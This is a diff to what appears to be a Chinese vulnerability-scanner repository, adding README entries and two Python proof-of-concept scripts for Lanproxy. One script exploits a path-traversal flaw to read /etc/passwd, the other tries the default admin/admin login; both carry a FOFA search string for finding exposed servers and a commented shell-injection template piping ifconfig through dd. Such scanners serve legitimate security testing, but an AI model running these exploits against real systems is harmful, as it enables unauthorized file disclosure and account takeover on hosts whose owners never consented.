2.23.9

README.md

@@ -258,6 +258,8 @@ token = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 |Kyan网络监控设备|Kyan网络监控设备信息泄露|``poc/Kyan/Info_Disclosure/poc.py``|
 |蓝凌OA|蓝凌OA前台任意文件读取漏洞|``poc/Landray_蓝凌OA/File_Read_CNVD_2021_28277/poc.py``|
 |Laravel Framework|Laravel .env 配置文件泄露|``poc/Laravel_Framework/Conf_Info_Disclosure_dot_env/poc.py``|
+|Lanproxy|Lanproxy文件读取漏洞|``poc/Lanproxy/Lanproxy_File_Read/poc.py``|
+||Lanproxy弱口令漏洞|``poc/Lanproxy/Weak_Pass/poc.py``|
 |朗驰欣创|朗驰欣创视频监控系统 FTP账号密码泄露|``poc/LinkSeek_朗驰欣创/FTP_Account_Info_Disclosure/poc.py``|
 |利谱第二代防火墙|利谱第二代防火墙存在信息泄露漏洞|``poc/LiPu_利谱第二代防火墙/Info_Disclosure/poc.py``|
 |佑友|佑友防火墙 弱口令|``poc/MailGard_佑友/Weak_Pass_FireWall/poc.py``|

poc/Lanproxy/Lanproxy_File_Read/poc.py

@@ -0,0 +1,77 @@
+# coding:utf-8  
+import requests
+from lib.core.common import url_handle,get_random_ua
+from lib.core.poc import POCBase
+
+# ...
+import urllib3
+urllib3.disable_warnings()
+
+class POC(POCBase):
+
+    _info = {
+        "author" : "hansi",                      # POC作者
+        "version" : "1",                    # POC版本，默认是1  
+        "CreateDate" : "2022-1-10",        # POC创建时间
+        "UpdateDate" : "2022-1-10",        # POC创建时间
+        "PocDesc" : """
+        
+  
+        """,                                # POC描述，写更新描述，没有就不写
+
+        "name" : "Lanproxy任意文件读取漏洞",                        # 漏洞名称
+        "VulnID" : "",                      # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
+        "AppName" : "Lanproxy",                     # 漏洞应用名称
+        "AppVersion" : "无",                  # 漏洞应用版本
+        "VulnDate" : "2021-03-10",                    # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
+        "VulnDesc" : """
+        
+        """,                                # 漏洞简要描述
+
+        "fofa-dork":"",  """
+        header="Server: LPS-0.1"
+        """                   # fofa搜索语句
+        "example" : "",                     # 存在漏洞的演示url，写一个就可以了
+        "exp_img" : "",                      # 先不管  
+
+    }
+
+    timeout = 10
+
+    def _verify(self):
+        """
+        返回vuln
+
+        存在漏洞：vuln = [True,html_source] # html_source就是页面源码  
+
+        不存在漏洞：vuln = [False,""]
+        """
+        vuln = [False,""]
+        url = self.target + "/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" # url自己按需调整
+        # date="command1=shell:ifconfig| dd of=/tmp/a.txt"
+
+        headers = {"User-Agent":get_random_ua(),
+                   "Connection":"close",
+                   "Content-Type": "application/x-www-form-urlencoded",
+                    }
+        
+        try:
+            """
+            检测逻辑，漏洞存在则修改vuln值，漏洞不存在则不动
+            """
+            req = requests.get(url,headers = headers ,  proxies = self.proxy , timeout = self.timeout,verify = False)
+            if req.status_code == 200 and "root:/root" in req.text:
+                vuln = [True,req.text]
+            else:
+                vuln = [False,req.text]
+        except Exception as e:
+            raise e
+
+        if self._honeypot_check(vuln[1]) == True:
+            vuln[0] = False
+        
+        return vuln
+
+
+    def _attack(self):
+        return self._verify()

poc/Lanproxy/Weak_Pass/poc.py

@@ -0,0 +1,77 @@
+# coding:utf-8  
+import requests
+from lib.core.common import url_handle,get_random_ua
+from lib.core.poc import POCBase
+
+# ...
+import urllib3
+urllib3.disable_warnings()
+
+class POC(POCBase):
+
+    _info = {
+        "author" : "hansi",                      # POC作者
+        "version" : "1",                    # POC版本，默认是1  
+        "CreateDate" : "2022-1-10",        # POC创建时间
+        "UpdateDate" : "2022-1-10",        # POC创建时间
+        "PocDesc" : """
+        
+  
+        """,                                # POC描述，写更新描述，没有就不写
+
+        "name" : "Lanproxy弱口令漏洞",                        # 漏洞名称
+        "VulnID" : "",                      # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
+        "AppName" : "Lanproxy",                     # 漏洞应用名称
+        "AppVersion" : "无",                  # 漏洞应用版本
+        "VulnDate" : "2021-03-10",                    # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
+        "VulnDesc" : """
+        
+        """,                                # 漏洞简要描述
+
+        "fofa-dork":"",  """
+        header="Server: LPS-0.1"
+        """                   # fofa搜索语句
+        "example" : "",                     # 存在漏洞的演示url，写一个就可以了
+        "exp_img" : "",                      # 先不管  
+
+    }
+
+    timeout = 10
+
+    def _verify(self):
+        """
+        返回vuln
+
+        存在漏洞：vuln = [True,html_source] # html_source就是页面源码  
+
+        不存在漏洞：vuln = [False,""]
+        """
+        vuln = [False,""]
+        url = self.target + "/login" # url自己按需调整
+        # date="command1=shell:ifconfig| dd of=/tmp/a.txt"
+
+        headers = {"User-Agent":get_random_ua(),
+                    "Connection":"close",
+                    # "Content-Type": "application/x-www-form-urlencoded",
+                    }
+        data = """{"username":"admin","password":"admin"}"""
+        try:
+            """
+            检测逻辑，漏洞存在则修改vuln值，漏洞不存在则不动
+            """
+            req = requests.post(url,headers = headers , data = data , proxies = self.proxy , timeout = self.timeout,verify = False)
+            if req.status_code == 200 and "success" in req.text:
+                vuln = [True,req.text]
+            else:
+                vuln = [False,req.text]
+        except Exception as e:
+            raise e
+
+        if self._honeypot_check(vuln[1]) == True:
+            vuln[0] = False
+        
+        return vuln
+
+
+    def _attack(self):
+        return self._verify()